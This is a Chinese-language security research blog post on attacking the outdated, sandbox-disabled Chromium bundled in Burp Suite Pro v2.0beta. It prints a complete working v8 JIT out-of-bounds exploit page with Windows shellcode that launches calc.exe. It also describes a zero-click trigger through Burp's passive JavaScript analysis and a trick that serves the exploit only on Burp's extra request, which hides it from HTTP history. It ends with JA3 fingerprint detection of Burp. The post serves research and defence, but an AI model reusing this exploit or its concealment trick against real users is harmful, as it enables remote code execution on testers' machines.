作者：Wfox
原文鏈接：http://noahblog.#/burp-suite-rce/
一、前言
Headless Chrome是谷歌Chrome瀏覽器的無界面模式，通過命令行方式打開網頁并渲染，常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
近幾年許多桌面客戶端應用中，基本都內嵌了Chromium用于業務場景使用，但由于開發不當、CEF版本不升級維護等諸多問題，攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。
本文以知名滲透軟件Burp Suite舉例，從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。
二、軟件分析
以Burp Suite Pro v2.0beta版本為例，要做漏洞挖掘首先要了解軟件架構及功能點。
將burpsuite_pro_v2.0.11beta.jar進行解包，可以發現Burp Suite打包了Windows、Linux、Mac的Chromium，可以兼容在不同系統下運行內置Chromium瀏覽器。
在Windows系統中，Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄
從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件，其打包的Chromium版本為64.0.3282.24。
那如何在Burp Suite中使用內置瀏覽器呢？在常見的使用場景中，Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。
當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時，browsercore32.exe會創建Renderer進程及GPU加速進程。
browsercore32.exe進程運行參數如下：
// Chromium主進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1從進程運行參數分析得知，Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口（用途未知）。
三、漏洞利用
Chromium組件的歷史版本幾乎都存在著1Day漏洞風險，特別是在客戶端軟件一般不會維護升級Chromium版本，且關閉沙箱功能，在沒有沙箱防護的情況下漏洞可以無限制利用。
Burp Suite v2.0內置的Chromium版本為64.0.3282.24，該低版本Chromium受到多個歷史漏洞影響，可以通過v8引擎漏洞執行shellcode從而獲得PC權限。
以Render功能演示，利用v8漏洞觸發shellcode打開計算器（此處感謝Sakura提供漏洞利用代碼）
這個漏洞沒有公開的CVE ID，但其詳情可以在這里找到。
該漏洞的Root Cause是在進行Math.expm1的范圍分析時，推斷出的類型是Union(PlainNumber, NaN)，忽略了Math.expm1(-0)會返回-0的情況，從而導致范圍分析錯誤，導致JIT優化時，錯誤的將邊界檢查CheckBounds移除，造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。
四、進階攻擊
Render功能需要用戶交互才能觸發漏洞，相對來說比較雞肋，能不能0click觸發漏洞？答案是可以的。
Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎（JavaScript analysis），用于掃描JavaScript漏洞。
其中JavaScript分析配置中，默認開啟了動態分析功能（dynamic analysis techniques）、額外請求功能（Make requests for missing Javascript dependencies）
JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描，同樣會觸發頁面中的HTML渲染、JavaScript執行，從而觸發v8漏洞執行shellcode。
額外請求功能當頁面存在script標簽引用外部JS時，除了頁面正常渲染時請求加載script標簽，還會額外發起請求加載外部JS。即兩次請求加載外部JS文件，并且分別執行兩次JavaScript動態分析。
額外發起的HTTP請求會存在明文特征，后端可以根據該特征在正常加載時返回正常JavaScript代碼，額外加載時返回漏洞利用代碼，從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FFJavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果：
五、流量特征檢測
默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響，而Burp Suite自己實現了HTTPS請求庫，其TLS握手協商的算法是固定的，結合JA3算法形成了TLS流量指紋特征可被檢測，有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare開源并在CDN產品上應用了MITMEngine組件，通過TLS指紋識別可檢測出惡意請求并攔截，其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。
以Burp Suite v2.0舉例，實際測試在各個操作系統下，同樣的jar包發起的JA3指紋是一樣的。
不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同，但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。
本文章涉及內容僅限防御對抗、安全研究交流，請勿用于非法途徑。
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